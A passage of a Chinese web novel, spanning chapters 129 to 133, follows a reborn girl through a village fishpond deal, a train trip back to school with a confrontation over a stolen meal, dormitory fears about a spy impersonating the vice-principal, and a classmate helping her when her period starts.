“哟～你这小丫头还懂这么多呢～”高村长媳妇没把她的话当成一回事，只是觉得这小丫头机灵的很。 高村长却是把这话听进心里去了，他转头看向钟绍华：“绍华啊，你看你家这孩子说的这事……” 钟绍华略微思考了一下，觉得这事没准还真的能成，钟家岗隔壁吴家村的渔获能收，没道理高家村的就收不了，本来钟家岗每年的咸鱼卖的就供不应求，多收一些，村里也能多赚些钱。 他开口问高村长：“村长，咱们起鱼的时候，收的多吗？” 数量多才有收购的必要，如果只有小鱼小虾三两只，他跑一趟，还不够小货车油钱呢！ 见这事情有门路，高村长大喜，他立马答道：“比你们村肯定比不上，但每年也能捞上那么五六百斤，除去交公的，村里能剩下两三百斤。” “如果你们收的话，我可以做主，将那些全都卖给你们！” 鱼这种东西，就算村里的全拿去卖了，村里人也不是完全吃不着，他们村子外面还有条河呢！ 虽然不能光明正大的抓鱼，但半夜去偷着下个地笼、找个隐蔽的角落钓一条两条的还是能做到的。 只要河水不枯竭，临河的人是不会缺这些小鱼小虾米的，如果能拿这些鱼，走正规路径还钱，那高村长敢保证，村里人绝对是举双手双脚赞成。 “两三百斤啊～”钟绍华的眉头拧了起来。 高村长还以为他是觉得数量太多，钟家岗吃不下，小心试探着问：“是太多了吗？收一百斤也行……” 能卖一些是一些，村里种的粮食除了交公粮外，剩下的粮食几乎只能够让村民们自己饱腹，压根攒不下钱来。 要不是钟家岗这几年到处收菜收竹筐，他们村里的人没准连一个子儿都攒不下来。 钟绍华听到他的话只觉得有些想笑：“没有，村长，我是觉得有些少，我看咱们村有这么多鱼塘呢，怎么捞完就五六百斤鱼啊？” 这个产值跟钟家岗的相比，差了不止一倍两倍，而是三四倍。 高村长哭笑不得，合着全是他想当然了，人家不仅没嫌多，还嫌少呢！ “这么多不少了，这还是我们每年自己往里面放鱼苗才有这么多，有些村子的鱼塘里还没我们一半多呢～” 高村长说的是实话，村里年底捕捞都是将鱼塘里的水全部排空后捉的。 跟钟家岗不一样，他们大的小的基本都会给捞个干净，大的做咸鱼，走亲访友用，小的去掉内脏，放锅里就这么煎一下，自家吃，总觉得自家不拿让别人拿去了，他们就亏了。 等道要放鱼苗的时候，又一个二个不愿意出钱，哭起穷来，年年如此，塘里的鱼可不就越来越少。 钟绍华又问：“村里有人割草喂鱼吗？” 高村长：“有的，有的，田间地头拔下来的杂草，家里的鸡鸭不吃的，就扔到鱼塘里喂鱼。” “是每天都喂，还是只有拔草的时候才喂？” 高村长惊讶了：“喂鱼还有每天喂的啊？咱们村都是大家哪个闲了，哪个就顺手拔一把草丢进去就完事了，这天天喂大*家伙的哪有那么多时间，还得干农活呢！” 听到他的回答，钟绍华立马明白问题所在了。 “村长啊，你们不喂的时候，那鱼是不是就饿着？饿着他就得吃东西，水里没吃的怎么办？有小鱼啊～那长的慢的可不就被长的小的鱼给吃了，你说对不对？”钟绍华也没给他解释草食鱼和肉食鱼之间的区别，太麻烦了，说点简单易懂对方能听明白的就行。 高村长：“你说的好像是有道理！那绍华你说，我们村的鱼是不是也得天天喂啊？” 没等钟绍华回答，他又开始为难起来：“这天天喂那好几口塘呢，这村里的草割完了也不够啊！” 钟绍华道：“这个不用担心，我们可以自己种草。” 高村长媳妇看稀奇：“我还是第一次听草还要种呢～” 钟绍华耐心解释道：“咱们这个草不是普通的杂草，而是专门种来喂鱼的黑麦草，鱼爱吃这个草，而且吃了这个草，肉长的也好，自打用了这个喂鱼后，我们村年底起鱼的时候，鱼塘里的鱼各个都比以前肥大个两三倍。” “而且，你知道我们钟家岗一口跟高家村差不多大的鱼塘，能产出多少鱼吗？足足上千斤！” “什么？上千斤？”高村长惊讶的嘴巴张的老大，可他很快心情又低落下来：“可再好也没用啊，咱村里又没有、没有……”高村长听完就忘记了钟绍华方才说的草的名字。 钟绍华连忙补充道：“黑麦草。” 高村长：“对，黑麦草，我们没有啊～” “钟家岗有，不过草籽是我们从市里找来的，能不能分给你们，需要我回去问一下村长，才能给你们答复。” 高村长拉着钟绍华的手：“绍华啊，那可太谢谢你了，叔就知道你这个孩子是个好孩子，一心为我们好！” 别人都给了自己村这么大的优待，高村长也愿意拿出自己的诚意，他拍着胸脯，豪情万丈道：“叔不白占你们便宜，那草籽你们买来多少钱，叔就让村里出多少钱！如果有路费什么的，也我们出！” 第130章 在回家的路上，钟明月有些担心：“绍华，你给高家村说的那事，能成吗？” 她害怕钟绍华给人承诺的好好的，但到时候高家村的收获不如预料中的多，钟绍华会平白收人抱怨。 钟绍华腾出一只手拍了拍她的腿：“放心吧，没问题的，高村长不是那样的人。” “再说了，我也提前给他说了，这个事情能不能做成、究竟能做到哪种地步？还得看他们自己。” 钟绍华也不是傻子，会无缘无故的帮别人背锅。 回到钟家岗后，钟莹莹就收到了来自她姐夫黄有德帮忙传递的好消息，那就是——她要开学了！就在一周之后。 “莹莹啊，票呢祁丰那边已经买好了，钱我已经替你给他了，等下周一早上你带上行李跟我一块去局里就行。” 见钟莹莹要掏钱给他，黄有德又让她把钱收好：“你这小孩，跟你姐夫还客气啥？我拿你钱等回家你姐要骂我的！” 黄有德走后，钟莹莹生无可恋的进了自家家门。上学一年有新鲜感，两年有新鲜感，三年、四年……直到现在马上又到十年了，钟莹莹哪还新鲜的起来。 在家里的日子那么快活，想干什么就干什么，她真的一点也不想返校。 陈显英见她不高兴，给钟伟先使了个眼色，钟伟先就抱着自己那一箩筐的东西出门干活去了。 这时陈显英凑到钟莹莹边上柔声问：“闺女，咱啦？娘怎么看你一脸不高兴的样子？谁惹你了？是不是你哥又嘴贱了？娘给你教训他去！” 在这个家里只有钟绍华偶尔嘴欠会撩拨钟莹莹，所以陈显英见钟莹莹这个样子，第一时间怀疑的就是他。 钟莹莹靠在老娘怀里，轻轻摇摇头道：“不是我哥，是我要开学了！” 陈显英深呼吸出一口气，悬着的心终于放了下来，是要开学了，不是受欺负了啊！ 不过她很快又急的团团转：“莹莹，那你几号去学校啊，娘这啥都没给你准备呢～要让你哥给你送去学校吗？”去年市中发生那种事情，陈显英着实不放心钟莹莹一个人去学校。 陈显英满屋子溜达，想看看家里有没有什么能给她带上的。 钟莹莹看老娘这样重视自己，心下的烦闷略微消减了几分，她开口道：“娘，不着急，下星期一我才走呢，姐夫已经把票给我买好了，跟祁绮一块走～” “下周一，那倒是来得急！” 陈显英在心里琢磨着要给钟莹莹带些什么东西去学校。 虽然已经开春了，这气温仍旧很低，她得多给孩子带几件厚衣服，还有薄的，也得带上，这一去学校就得等到夏天才能回来了。 除了衣服，吃的也得准备上，她可是听说了市中的伙食究竟有多差了，走之前得把家里的鸡杀上一只给孩子吃顿好的。 还有那咸鱼，她可以给做熟了，放到坛子里装着，现在气温低，起码能放一个星期不坏，孩子带到学校可以慢慢吃。 哎呀，要做的事情实在是太多了，陈显英都不知道该先做哪一件是好了。 刚刚被她赶出门去的钟伟先又被叫了回来，原因是她要让钟伟先给她编个能拎着走的箱子出来。 “你能不能行啊？还有那竹条的毛刺，你记得都给打磨光滑了，仔细扎着你闺女的手～”看着钟伟先按照她的要求编竹制的手提箱，她仍旧不满足的在一旁絮絮叨叨。 钟伟先面对自己媳妇脾气好的很，她说啥他都不生气，一边改一边还问：“孩他娘，你看看这样编有没有问题？” 钟莹莹不想吃狗粮，在她爹娘亲亲我我之前早就躲回自己房间去了。 她爹娘在帮她收拾要带的东西，她自己也不能闲着，她在自己房间里到处转悠着，看看有没有什么东西想带上的。 她高中的书都在学校，所以，书不用带，衣服什么的，学校也有，家里也有，只要把新做的几件带上就成，比如她嫂子给她做的小背心，还有薄棉裤。 钟莹莹忽然想起，余嘉祥那小子貌似还欠她一条裤子来着。 “等回学校得找他赔一条新的，狗大户总不能贪污老农民的东西吧？” 粗瓷杯子？带上，平常在学校喝水老是用水碗，一点也不优雅。 没用完的雪花膏？也带上，放家里留给她娘的话，她娘又会给她再买个新的，天气暖和了就没那么干了，买新的不划算，能省点就省点。 …… 钟莹莹把自己房间转悠了个遍，好像、确实没有什么好带的。 她屋里除了床和柜子，就只有桌椅板凳这些带不走的东西，现在又不像后世，家里有各种好玩有意思的东西，她的屋里除了必要的家具外，能移动的就只有衣服、书本和被褥。 家里没吃完的零嘴儿她不打算带了，她现在腰包鼓囊囊的，跟学校看大门的保安又熟悉，想溜出去买点吃的方便的很。 市里的供销社卖的零食也比县里的供销社品种要多，家里这些她已经吃腻了的玩意，钟莹莹大手一挥，全部赠予了钟新澄和丽丽。 “姑姑，这些真的都给我们了啊？”钟新澄不敢相信，自己竟然能一次性拥有这么多好吃的。 “都给你俩了，一人一半，不要打架啊！你俩要是打架，我就把东西全拿出去给别的小孩去～”钟莹莹分完东西还不忘威胁一下，主要是威胁钟新澄，就这小孩喜欢搞事。 至于丽丽，可乖可懂事一小孩，从来都不会无缘无故找事，钟莹莹要不是想着自己是两个孩子的姑姑，不能偏心，都想把那些东西全拿去给丽丽了。 钟新澄为了口吃的，什么都能做出来，他当即扬起甜甜的笑脸：“姑姑，我不会打架的～” 有吃的傻子才打架，姑姑给他这么多好吃的，不知道够他吃多久了。 年前他姑买回来的鸡蛋糕分给他的那部分，他娘一天只允许他吃半块，还不准他去找他姑要，可给他馋坏了。 直到坐上火车的那一刻，钟莹莹心中仍旧缺少了几分真实感，她这就开学了？明明她的记忆还停留在学校抓特务给她们放假的那一刻，咋一眨眼就开学了呢？ 祁丰请了假为她俩送行，路费昂贵，钟莹莹没让家里人过来。 祁绮跟她一样，大包小包的装了不少东西，钟莹莹的包袱比她好点，只是看着大，其实好些东西钟莹莹都趁着她爹娘和黄有德‘交班’时给偷渡进了她的空间里。比如原先包袱里装着的那一小坛子猪油炒咸鱼，死沉死沉的。 外面装上套上那个竹制的防撞竹编后，整个坛子变得更加臃肿了。 钟莹莹在坐上黄有德自行车后座上，第一时间就是将这个小坛子给偷渡进空间里，减轻自己的负担。 钟莹莹的包裹不是黄有德打包的，他自然不知道里面都有哪些东西，帮钟莹莹拎包裹上火车时，他还疑惑了，怎么这包裹看着大，拎着却并不重呢？ 饭点时，祁丰让祁绮跟钟莹莹在座位上看着行李，他自己去了餐车买了三盒盒饭回来。 “都饿了吧，快吃饭～” “莹莹，你不用给我饭钱和票，你姐夫已经给过我钱了，他让我在路上好好照顾你。”祁丰的假就是黄有德批的。 钟莹莹手里的钱送不出去，她只能又把钱借着口袋的掩饰丢回到空间里，并对祁丰道：“谢谢祁丰哥，那我就不客气了～” 祁丰扒着自己饭盒里的饭，头也不抬的回她：“别客气了，快吃吧，等会儿吃完了我还要把饭盒还回去呢。” “我给你俩说啊，今天这几盒饭可是我好不容易抢到的，你俩得珍惜。” 钟莹莹看着饭盒里晶莹剔透的红烧肉，还有青椒土豆丝和大米饭，她忍不住咽了咽口水，这肉看着三肥七瘦的，上面的肉汁浸润进米饭里，将大米饭也给染成了酱红色，一瞅就好吃的紧。 她用筷子夹起一筷子红烧肉，那肉软烂到钟莹莹一夹就碎了，最后她的筷子上只留下半块红烧肉，把那半块肉小心的送入口中，钟莹莹感觉就这一口肉吃下去，她死而无憾了。 怎么能够这么好吃！！！ 这红烧肉上面的肥肉都被炖化了，瘦肉吸收了肥肉的精华，也丰腴了许多，再加上厨子给打的充沛的汤汁，妙啊～ 吃完肉，钟莹莹又迫不及待夹了一口泡在汤汁里的米饭，香啊～ 再尝尝青椒土豆丝，嗯～就是这个味，猛火爆炒过的，家里做不出来的味道。 一口肉配着一口饭，最后再来一筷子青椒土豆丝解腻，钟莹莹风卷残云般干掉了整盒饭。 再瞅瞅她边上坐着的祁绮还有对面坐着的祁丰，他俩的吃相没比她好到哪里去。 火车上其他没买盒饭的人闻着他们盒饭的散发出的香气，也忍不住吞咽了下口水。 祁绮吃的慢一些，等钟莹莹跟祁丰把饭盒都合上了，她还在埋头苦吃。 这时候过道那边坐着的大爷忍不住了，他用力拉扯了一下祁绮的胳膊，硬生生让她停下了吃饭的动作。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 130-140 第131章 “姑娘，看你给我孙子馋的都哭了，还不把你的饭分点给他吃。”说着他伸手就要去夺祁绮的饭盒。 祁丰正要阻拦，老头已经将祁绮的饭盒给夺了过去，但是他凑近饭盒里一看，立马脸就黑了。 他把饭盒扔回了祁绮面前的小桌板上，并嚷嚷着：“你这个小姑娘怎么跟猪一样能吃？那么一大盒饭连肉带菜的，就这么吃完了？真是晦气……” 祁绮脸上写满了茫然，显然是还没搞清楚状况。 老头还想继续骂，祁丰站起来一个反手绞就给他按倒了。 在他面前欺负他妹妹，当他这个警察是白干的吗？ 老头的孙子被吓得嗷嗷大哭，上前去捶打祁丰的大腿：“别打我爷爷，你个坏人，放开我爷爷，我呸呸呸～” 一开始祁丰没管他，只是觉得大胖小子劲儿还挺大，等到他开始冲自己吐口水的时候，祁丰忍不下去了，压制老头的手腾出来一只，把小胖子跟他爷爷并排按在一起了，按的同时还把那条被他吐过口水的裤腿在他身上蹭了蹭。 这下好了，裤子没蹭干净，反而又沾上一层黑灰，彻底弄不干净了，祁丰此时的心情特别的糟糕。 乘务员姗姗来迟：“同志您好，请您冷静一些，有什么事情我们会处理的，先放开这位老人和这位小男孩好吗？”他把祁丰当成了欺负老人孩子的暴徒在安抚。 “哎哟，我的老腰啊～领导，你还不快过来把他抓起来！你瞅我跟我孙子都被他欺负成啥样了！”老头看有人过来解救他，立马变得嚣张起来。 小胖子也跟着老头一块嚎：“快放开我、快放开我，啊啊啊啊啊啊啊啊……” 祁丰被嚎的脑子疼，冲着小胖子就吼道：“闭嘴，吵死人了！” 乘务员见他‘心情激动’，害怕他干出什么事情来，直接悄悄的让他同事去喊乘警去了。 钟莹莹看情况不对，就给乘务员解释：“姐姐，是这个老头先抢我们东西还骂人，我哥才把他按在那的。” “那小孩动手打人还冲我们吐口水，不信你看我哥的腿！” 乘务员往祁丰腿上看去，确实星星点点的全是唾沫星子状的东西。 祁丰用脏了裤腿的那条腿压住小胖子，然后单手伸进了裤兜里，掏了半天掏出来一本证件，里面还夹着介绍信，递给乘务员：“同志，你好，我是警察！” “这俩人不仅抢劫，还涉嫌侮辱公职人员，我有权将他们逮捕！” 乘务员接过他的证件看了半天，最终确定这个证件就是真的，乘警拿着家伙式过来的时候，乘务员直接过去拦住他，在他耳边小声的耳语几句后，又把祁丰的证件拿给他看了一眼。 乘警原先对着祁丰那不善的目光转向了被祁丰按在座椅上的老头，接着他对祁丰敬了一个礼道：“警察同志你好，我是这趟列车的乘警，请你将这两个犯罪分子交给我们，由我们先行羁押，后续的事情我们会处理的。” 老头先前听祁丰说他是警察就觉得有些不对了，现在又听乘警说要抓了他和他孙子，哪里还能像之前那样淡定的等乘警抓祁丰那样，在原地不动作啊，他挣扎着扭来扭去的同时，还不忘讨好的对祁丰道：“哎呀，警察同志都是误会，都是误会啦～” “先前我不是想抢东西，就是我小孙孙饿了，想问下那个小姑娘，能不能饶点饭给我小孙孙吃。” “我家穷啊，买不起火车上的饭～都是我的错～”说罢，他竟然老泪直流，颤颤巍巍趴在座椅上哭了起来。 群众往往比较偏向弱势群体，看着一老一少的都在哭，就忍不住劝祁丰：“警察同志，要不算了吧，你看这老人家多可怜啊，他也只是想给自己小孙孙讨口饭吃而已，再说了，他不是也没抢着那小姑娘东西吗？” “是啊，是啊，警察同志，您就放过这爷孙俩这一回吧～” …… 帮着老头和小胖子求情的人越来越多，其中以一个身穿藏蓝色中山装的中年男人最为过份，他直接对着祁丰道：“小同志，你不要太计较了嘛，这老人家这么可怜，你就让让他吧！” 老头脸埋在座椅上，在别人看不见的地方，竟然偷偷的笑了起来，他心里暗道：你个小年轻，还想跟我老子斗？老头我啊吃的盐比你吃的米还要多，你拿什么跟我斗？ 乘警被周围人劝的也有些动摇了，他抬头看向祁丰：“同志，你看他这也没造成什么损失，老人家也说了，他会改的，要不……” 祁丰知道他什么意思，事实上就算老头被抓起来，也关不了几天，因为一大把年纪了，还没造成什么实质性的损害，至于那小胖子，八九岁，最多被批评教育一下就会被放出来。 他本来也只想吓唬他俩一下，如果真的要抓他俩，自己也得去做笔录，就耽误送俩小孩去上学了，祁丰觉得划不来。 他将钳制老头的腿和压制小胖子的手都给放了下来，被松开的老头和小胖子抱在了一起，瑟瑟缩缩的看着祁丰。 小胖子是真的害怕了，至于老头怕不怕，就只有他自己心里清楚了。 钟莹莹他们仨的目的地只是这趟列车的中间站，老头是要坐到终点站的。 钟莹莹他们在市里下了车，让他们不知道的是，在他们下车后，那列火车上发生了多么热闹的事。 在抢祁绮的东西被制裁后，老头就换了个模式抢东西。 “求求你，好心人，给我家孙子一点吃的吧～”只要看车上有人讨东西出来吃，老头就带着孙子上前去‘乞讨’，碰见那看上去面皮薄的，老头的好大孙更是直接上手去抢。 老头呢，就跟在孙子后面给人道歉：“对不住啊，我孙子实在是太饿了，你就可怜可怜我们吧～” 被抢的人正是之前帮着老头说祁丰的那个中年男人，他看着这一老一少的，想把饼子抢回来？小胖子已经把那饼子啃的满是口水了，看着就埋汰，拿回来他也吃不下去了。想发火？老头又颤颤巍巍的堵在自己面前，双手合十的道歉，他一生气，边上就有人劝，算了吧，算了吧。 中年男人气的脸红脖子粗，他指着老头的鼻子：“你、你……孺子不可教也！” 老头满不在乎道：“什么孺子老子的，我孙子吃饱饭我就满足了。” 果真是刀子扎到谁身上谁知道痛，中年男人此时恨不得穿越回自己给老头帮腔道那一刻，扇自己两巴掌，自己为什么要多那个嘴，就让那个小警察把这老不休的抓走，哪还有现在的麻烦啊？ 下了火车的祁丰虽然手上拎了一大堆行李，但面上却是神清气爽。 离了那不讲卫生的一老一少，呼吸着室外的新鲜空气，就算是干活他也乐意。 “陈哥、王哥！”来到市中门口，他很是心情好的跟守在门口的两位保安打招呼。 陈平也很乐呵的回应他：“哟，大忙人今天怎么有空来我们学校了？” 祁丰锤他一拳：“这不是送妹妹来上学吗！” “另外一个小兄弟呢？他怎么没来？”陈平还记得钟绍华。 祁丰道：“我一个就够了，这都熟门熟路的来，那用得着那么多人？” 陈平点点头道：“那也是。” “你这行李带了这么多啊～要不你跟着她俩去宿舍，送完东西立马出来就行，晚上学校没啥人，我可以给你开后门！”祁丰是警察，他不担心祁丰进学校会干什么坏事。 祁丰大喜：“那可太感谢了！我正烦着这么多东西，俩小姑娘咋搬到宿舍里去呢！” “这下好了，我把东西给她们送进去，那等下出来，我直接去火车站买张票就回家去了～” 陈平看他这么激动，笑着说：“好了，快进去吧，办完事赶紧出来，等会要是有领导巡查，我不好交代的。” 祁丰两只手上都拎着行李，没办法跟陈平握手，只好给了他一个‘好兄弟，一辈子’的眼神。 学校宿管老师看祁丰能进校，还以为他是学校的工作人员，只嘱咐了他几句，让他把东西送上去后立马下来，不要到处乱逛，就把他给放了上去。 看宿舍的门上没有挂锁，钟莹莹就知道其他两位室友已经到了。 由于是晚上，不知道她们是否穿戴整齐，祁丰就背过身去，让她们两个女生先敲门进去，提醒一下里面的人，他再把东西给搬进去。 好几个月不在学校，钟莹莹看两个室友都觉得有些陌生了。 钟莹莹开口问：“宋悦，丽华，祁绮哥哥帮我俩搬行李，在门口等着呢，你俩现在方便让他进来吗？” 宋悦跟牛丽华还没睡觉，都穿着秋衣，闻言又套了个厚外套，便回答钟莹莹道：“可以了，你让他进来吧！” 祁丰把钟莹莹道行李放到她床前后，把祁绮的行李给放好，由于时间比较紧张，他不能在楼上待很久，跟祁绮简单的做了告别后他就走了。 第132章 钟莹莹走的时候，留在学校的那部分铺盖都全晒过太阳用床单给罩上后，丢到柜子里去了。 这会儿拿出来后，掸掸灰，抖一抖直接铺上就行。 她从家里又带来了干净的被单，还有之前带回家又重新清洗的薄被，全都给拿出来铺在了床上。 她一边整理床铺，一边问牛丽华和宋悦：“丽华、宋悦，你俩知道我们上学期那事最后怎么样了吗？” 这俩人在市里，消息应当比祁绮这个在县里的、还有自己这个在村里的灵通。 果不其然，宋悦那小嘴叭叭的就给事情全倒出来了：“听说抓了好些个特务呢，还有咱们副校长也进去了，而且……”她神秘的压低声音“据说那个副校长不是副校长！” 祁绮不解：“什么意思？” 钟莹莹却是似有所悟，这种事情她上辈子听说过，用一个长的跟原主很像的人去替换原主，或者更甚之是撕了原主的脸皮，做成人皮面具，再学习他的动作和小习惯，最后连他们的家人也分辨不出来。 宋悦解释道：“真正的副校长已经死了，在学校的这个副校长是特务假扮的，这是丽华给我说的。”她一开始也不敢相信，怎么还能有这种事情，奈何牛丽华因为极度恐惧而苍白的小脸，让她不得不信。 “这也太吓人了吧！”祁绮捂住自己的小心脏，她不敢想，如果她哥跟副校长一样，被人换了，她要怎么办？ “对啊，可不是吓死人了！牛犇老师你知道吗？他吓得都不敢回家了，害怕他娘别也是假的，就算现在在学校，他都不跟人住一屋，非得自己住单间！”宋悦很讨厌牛犇，提到他的时候都是一脸的不高兴。 她说着说着突然转头看着屋里的三个室友：“你们说，我们当中会不会也有被替换的人啊？” 这话一出，宿舍里四个人，包括她自己，都心底发凉，浑身僵硬住了。 牛丽华本就因为副校长被换的事让吓得不轻，这下子更是浑身发抖，可怜巴巴的望着宋悦：“悦悦，你能不能别说了，我害怕～” 宋悦自己也浑身发毛，她立马道：“不说了，不说了，我不说了，大家就当作什么都没听到。” “祁绮，莹莹，你俩床铺好了没？明天缴费领新书，没有课，你俩收拾完床我们就吹灯睡觉吧！” 祁绮的床整理完了，但是她觉得自己不一定能睡得着，现在屋里亮着都挺吓人的了，如果黑着，那不更可怕了吗？ 就在这时，牛丽华小声建议道：“要不……今晚我们就别吹灯了吧？”把灯油用完，去宿管老师那里拿钱买，挨两句骂，总比在乌漆麻黑中害怕的好。 四人都不是缺钱的主，牛丽华话刚说完，其他三人都迫不及待的点头同意了。 钟莹莹也害怕的紧，她怕有鬼啊，本身她自己在这里就不是多么科学，灵魂穿越都有了，那鬼是不是也是存在的？被害的副校长的鬼魂是不是也徘徊在校园中看着那个冒牌货肆意妄为？ 而且，听说学校都是建在乱葬岗上的，那她们学校会不会也是……咦～～不能再想下去了，太瘆人了。 等到第二天，宿舍四人组还心有余悸。 祁绮忍不住给宋悦说：“悦悦，你下次能不能不要在宿舍说那么吓人的事了！昨天晚上我都没睡好。” 宋悦觉得自己很无辜：“是莹莹先问我，我才说的啊。” 钟莹莹脸色一僵，好像这事确实怪她，要不是她问上学期的事，宋悦也不会无缘无故在宿舍里提起副校长的事。 看着面前三个室友眼下的青黑色，钟莹莹猜测自己的眼睛也好不到哪里去，她也是熬到了下半夜近乎是天快亮了才睡着了一小会，早上学校早自习的铃声一打响，她又被吵醒了。 面对三个饱经摧残的室友，钟莹莹承诺，她以后再也不在晚上问这种事情了，还有其他几个人也不许问，虽然她们几个人在约法三章下回恢复正常交往了，但往日喧闹的校园，却是始终呈现一派诡异的色彩。 具体表现在，原本经常勾肩搭背走在一起的同学们，此刻都恨不得离彼此八丈远，而且相互之间一句话也不说，如果有交流，脸上也是挂着尴尬的角色。 等缴费完，进班级里坐回座位上，等老师给派发各自的新课本时，这种诡异副氛围还在持续。 于是老师就看见，她发语文课本时，底下的同学用一种奇奇怪怪的眼神看着她，她发数学课本时，底下的同学仍旧用一种奇奇怪怪的眼神看着她……她发完全部的课本后，同学们看她的眼神依旧很诡异。 老师无奈道：“同学们，你们今天怎么了？都这么看着老师，是老师脸上有什么不干净的地方吗？”她都开始怀疑自己是不是早上洗脸没洗干净了。 底下的同学听她发问，立马异口同声道：“老师，没有，我们就随便看看！” 那些学生说完后，很大一部分不再打量老师，但是仍旧有一小部分还在顽强的盯着她。 女老师略微有些崩溃：“到底什么事，你们给我说一下啊～” 有好心的学生奇怪的问：“老师，您不知道副校长的事吗？” “副校长的事……”经提醒后，女老师的心一下子变得哇凉哇凉的，此刻她看向讲台下同学们的眼神也变成了之前同学们看她的那个眼神，那是怀疑加上恐惧的眼神。 她慌里慌张道：“书本已经全部发下去了，接下来的时间你们自由活动，明天才正式上课，你们把书先搬回宿舍收拾收拾吧，老师先回办公室了，如果你们有其他问题的话，直接来办公室里找老师就行。” 女老师把讲台上的点名册一拿，直接落荒而逃。 回到办公室里，看到其他三个老师，她神情僵硬，不知道这办公室她是该进还是不该进。 她在心里欲哭无泪道：早知道今天请假，发书的事让别人来干了，她怎么就忘了，学校副校长都能让人给换了，她这一办公室的同事，还能有几个是本人啊。 由于心里充满了不信任，她现在是怎么看这几位老师，怎么觉得奇怪。 其他老师看她也是一样的，这中间还有一位亲身经历了亲爹被换的牛犇，他就像惊弓之鸟一样，要不是害怕回到家里，他都想辞职不干了。 老师走后，在教室里，余嘉祥拦住正要离开的钟莹莹，把一包用牛皮纸紧紧捆扎着的东西交给了她：“喏～去年借你的东西，赔你个新的！” 他这么一说，钟莹莹秒懂，是她的裤子啊。 她毫不客气的接下牛皮纸包，扬起一个笑脸：“谢了啊～” 余嘉祥别别扭扭道：“是我该谢谢你才是～”在那种尴尬的情况下，还肯把自己没穿过的新裤子借给自己。 眼前的男生又长高了，钟莹莹估摸着他该到一米七了，而自己也才一米六多点，上辈子她最高只长到一米七，看见余嘉祥仅仅过了一个寒假就长了这么多，她承认她有些酸了。 为什么男生就能长那么高，凭什么女生就要比男生矮一个头啊，她不服气。 余嘉祥把裤子还给她了还不算完，他又从桌洞里掏出来一盒巧克力：“这是谢礼，你也拿着。” 要不是现在教室里的人都走的差不堵了，他还真不好意思把东西给拿出来，头一次送女孩子礼物，他还怪害羞的。 钟莹莹本来不想收的，她虽然嘴上说着要宰狗大户同桌，但其实真要让她去做，她还真做不到。 余嘉祥看出她的想法，硬是把巧克力塞给她，并固执的说：“这些我在家都吃腻了，你就拿着吧，我走了！” 余嘉祥跑的飞快，抱着自己的那一大摞书，冲出教室后，一个拐弯就一溜烟跑没影了。 留下钟莹莹和自己手上的铁盒巧克力还有牛皮纸包对视发呆。 抱着书回到宿舍后，钟莹莹给每一科的课本都包上了书皮，至于那一盒巧克力，她没有拿出来跟舍友分享，因为不太好解释。 自己*打开盖子，取了一颗放在嘴里后，她就把剩下的借着被子的掩饰给收到了空间里。 余嘉祥给她的是纯正的黑巧，很苦，但也很香，钟莹莹前世就喜欢这个，可惜的是，这辈子这个物件是稀罕货，她想能随便买到这东西估计还得等个十多年。 这样看来，她空间里的这一盒黑巧就变得异常宝贵。 绵密丝滑的口感，还有巧克力独有的香气，整颗都已经完全下肚了，钟莹莹还在回味那美妙的味道。 意识投入空间里，把那盛放着巧克力的铁盒给打开，她仔细数了一下剩下的黑巧数目，一共十六颗，她吃了一颗，就只剩下十五颗了。 就算一天只吃一颗，也只能坚持两个星期。 由俭入奢易，由奢入俭难，尝过了以前经常能吃到的美味，钟莹莹就有点不太能够忍受美味中断。 她想余嘉祥在家能把这玩意都吃腻了，那她拿钱跟对方买，应该能成吧？大不了她多花些钱。 第133章 钟莹莹今天上课总觉得身上有些地方不对，但让她说哪些地方不对她又说不出口，就这么浑身刺挠的度过了一上午。 上午放学后，她从座位上站起来，正要跟室友们一块去食堂吃饭，起身的那一刻，余嘉祥扫了她背影一眼。 就这一眼让他瞳孔极剧缩小，想到某种可能，他伸出手去轻轻拉了钟莹莹的袖子。 钟莹莹回头，疑惑的问：“怎么了？” 余嘉祥闭着眼睛，手指着她的裤子：“你的裤子脏了！” 钟莹莹自己看了一眼，她的屁股后面沁出一块不小的血斑，她在心中大呼我嘞个豆，她终于知道这几天身上是哪点不对了，原来是要来月经了。 前世她经期前，身上也总是闹幺蛾子，不是头晕晕的，就是胸口痛痛的，这辈子远离月经十几年，生活过的太滋润了，她竟然忘了还有这么一遭。 裤子上有，那板凳上呢？她的视线转移到她的板凳上，只见那板凳上也是好大一片血迹，余嘉祥也看见了她板凳上的东西。 小伙伴们还在教室门口等着她，此刻教室内只剩下了她和余嘉祥，钟莹莹有些烦躁，教室里没水，板凳上半干的血迹压根擦不掉。 却听余嘉祥突然开口道：“要不……你先回去把衣服换了吧，板凳上的我帮你处理。” 他娘以前还活着的时候，他见过他娘生理期的模样，脸色苍白，捂着肚子强撑着身子还得给他做完饭再休息，那样子真真虚弱。 虽然钟莹莹看上去比他娘的状态要好的太多，但他仍旧担心对方是在故作坚强。 作为一个合格的老大，他应当给身体不舒服的同桌提供必要的帮助。 钟莹莹诧异道：“你不嫌弃？” 余嘉祥微微拧眉：“这有什么好嫌弃的？这不就是正常的生理现象吗？” 钟莹莹竖起大拇指：“余同志，你的觉悟是真的高啊，那就谢谢你了，我回去换裤子去！” 钟莹莹是真心佩服他，要知道，就算是后世也有很多人把经血看作是污秽不洁的象征，而现在余嘉祥一个对后世人来说算是老古董的人物，能会说出这样的话，足以见得他思维的超前。 不知道是来月经前，钟莹莹只是感觉最近身上有些奇怪，知道是月经后，尤其现在裤子黏黏腻腻的，风一吹，濡湿的地方还凉飕飕的，钟莹莹现在只想立马回寝室去换裤子。 不过她很快又想到另外一个问题，这个时代国内并没有卫生巾，好像用的是一种叫卫生带的东西，可卫生带她也没有啊，这种私密东西她也不好去向别人借，裤子里不垫东西，她换上干净裤子也一样会被经血弄脏。 不管了，先回宿舍把脏了的衣服换下来再说。 望着钟莹莹扯着上衣努力想要盖住屁股的背影，余嘉祥忽然又想起他娘以前说过的话。 “嘉祥啊，娘这不是生病了，是正常的生理现象。” “女孩子长大后都会这样，这是女孩子身体机能逐渐走向成熟的表现……嗐～看我这脑子，我跟你说这些干什么呢？我们嘉祥还是个小朋友呢。” 思维从回忆中挣脱开来，余嘉祥眼眶微微湿润，他用手背揉了揉眼睛，将眼中的雾气揉散开来后，从自己的桌洞里掏出一个绿色的铜皮水壶来，在钟莹莹的板凳上倒了一些水后，又从口袋里掏出几张草纸，没几下就给那板凳上的血迹擦掉了。 班上同学除了他之外，没有人带水壶，他的水壶是他舅舅给他的，他舅舅年轻的时候当兵，部队里发的，这东西他舅舅只给了他，他表哥都没有。 